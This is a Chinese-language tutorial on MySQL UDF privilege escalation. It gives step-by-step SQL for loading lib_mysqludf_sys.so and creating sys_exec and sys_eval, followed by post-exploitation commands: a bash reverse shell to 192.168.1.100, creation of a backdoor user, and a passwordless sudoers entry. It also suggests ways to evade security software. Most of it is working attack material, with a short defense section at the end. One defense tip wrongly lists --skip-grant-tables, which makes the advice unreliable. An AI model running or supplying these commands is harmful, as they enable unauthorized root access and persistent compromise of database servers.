UDF提权技术详解
UDF提权概述
UDF(User Defined Function)提权是一种利用MySQL数据库自定义函数获取操作系统更高权限的攻击技术。攻击者通过上传恶意的UDF动态链接库(DLL或SO文件),创建可执行系统命令的函数,从而以MySQL服务进程的权限执行任意系统命令,实现提权。
原理分析
MySQL允许用户通过UDF扩展功能,但若MySQL服务以root或高权限用户运行,且数据库用户具备FILE、INSERT、CREATE权限,则可利用UDF执行系统命令。攻击流程:
- 拥有MySQL低权限账户(如root@localhost但无系统shell)
- 能够向MySQL插件目录写入文件
- 创建UDF函数并调用执行系统命令
环境准备
测试环境:
- MySQL 5.x 或 8.x(需支持UDF)
- 操作系统:Linux(Ubuntu/CentOS)或Windows
- 权限:MySQL账户有FILE和INSERT权限,且plugin目录可写
- 工具:kali Linux,UDF提权脚本(如sqlmap的udf.py或手动编译的so文件)
攻击步骤
步骤1:确认MySQL版本与权限
登录MySQL:mysql -u root -p
查看版本:SELECT VERSION();
查看插件目录:SHOW VARIABLES LIKE 'plugin%';
验证权限:SELECT * FROM mysql.user WHERE user='root'\G
确认有FILE权限:SELECT FILE_PRIV FROM mysql.user WHERE user='root';
步骤2:获取UDF库文件
根据操作系统和MySQL版本,获取对应的UDF库文件。例如从sqlmap的udf/mysql/linux/64/lib_mysqludf_sys.so或手动编译。下载后使用base64编码便于传输:base64 lib_mysqludf_sys.so > encoded.txt
步骤3:上传库文件到插件目录
在MySQL中执行,将base64编码写入临时表,再导出到插件目录:
CREATE TABLE temp_data (data LONGBLOB);
INSERT INTO temp_data VALUES (UNHEX('...base64hex...'));
SELECT data FROM temp_data INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';步骤4:创建自定义函数
创建函数:CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';
或创建sys_eval(返回字符串):CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.so';
验证函数创建:SELECT * FROM mysql.func;
步骤5:执行系统命令
调用函数:SELECT sys_eval('whoami');
返回结果应为mysql服务进程的用户(如mysql或root)。若返回root,则提权成功。
进阶利用
反弹Shell
通过sys_exec执行bash命令反弹shell:SELECT sys_exec('bash -c "bash -i >& /dev/tcp/192.168.1.100/4444 0>&1"');
创建系统用户
添加用户:SELECT sys_exec('useradd -m attacker');
设置密码:SELECT sys_exec('echo "attacker:password" | chpasswd');
赋予sudo权限:SELECT sys_exec('echo "attacker ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers');
防御措施
- 最小权限原则:MySQL服务不应以root运行,创建专用用户mysql。
- 限制plugin目录权限:只允许root写入,移除mysql用户的写权限。
- 禁用UDF:若无需要,可将
--skip-grant-tables或移除UDF支持。 - 严格管理用户权限:回收不必要的FILE和INSERT权限,避免弱密码。
- 定期审计:检查
mysql.func表是否有异常函数,监控plugin目录变化。 - 升级MySQL:新版本安全特性更强,如MySQL 8.0默认禁用local-infile。
注意事项
- 本技术仅用于授权安全测试,非法使用后果自负。
- 不同MySQL版本和OS可能导致UDF库不兼容,需自行编译或寻找对应版本。
- 部分安全软件会拦截udf.so写入,可尝试使用十六进制或分段写入绕过。
总结
UDF提权是数据库安全中常见的攻击手法,理解其原理和步骤有助于蓝队加强防御。关键在于限制plugin目录权限和MySQL运行用户,同时监控异常UDF函数。安全从业者应结合纵深防御体系,避免单一漏洞导致权限失控。